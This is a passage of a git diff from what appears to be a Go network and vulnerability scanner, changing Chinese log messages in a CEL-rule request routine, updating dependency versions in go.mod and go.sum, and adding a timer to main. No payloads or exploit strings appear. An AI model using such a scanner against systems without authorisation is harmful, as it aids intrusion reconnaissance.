Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap))
return false, nil
}
break paramLoop
@ -600,9 +595,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
return false, fmt.Errorf("HTTP请求错误: %v", err)
}
defer func() { newRequest = nil }() // 及时释放资源
defer func() { newRequest = nil }()
// 设置请求头
newRequest.Header = oReq.Header.Clone()
@ -613,7 +608,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
return false, fmt.Errorf("请求发送错误: %v", err)
}
// 更新响应到变量映射
@ -638,7 +633,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
Common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err))
}
return false, err
}

6
go.mod
View File

@ -8,7 +8,7 @@ require (
github.com/IBM/sarama v1.43.3
github.com/Ullaakut/nmap v2.0.2+incompatible
github.com/denisenkom/go-mssqldb v0.12.3
github.com/fatih/color v1.7.0
github.com/fatih/color v1.18.0
github.com/go-ldap/ldap/v3 v3.4.9
github.com/go-ole/go-ole v1.3.0
github.com/go-resty/resty/v2 v2.16.2
@ -66,8 +66,8 @@ require (
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
github.com/klauspost/compress v1.17.9 // indirect
github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
github.com/mattn/go-colorable v0.0.9 // indirect
github.com/mattn/go-isatty v0.0.3 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/pierrec/lz4/v4 v4.1.21 // indirect
github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect

9
go.sum
View File

@ -66,6 +66,8 @@ github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
@ -235,8 +237,13 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6w
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
@ -480,8 +487,10 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=

View File

@ -9,6 +9,7 @@ import (
)
func main() {
start := time.Now()
var Info Common.HostInfo
Common.Flag(&Info)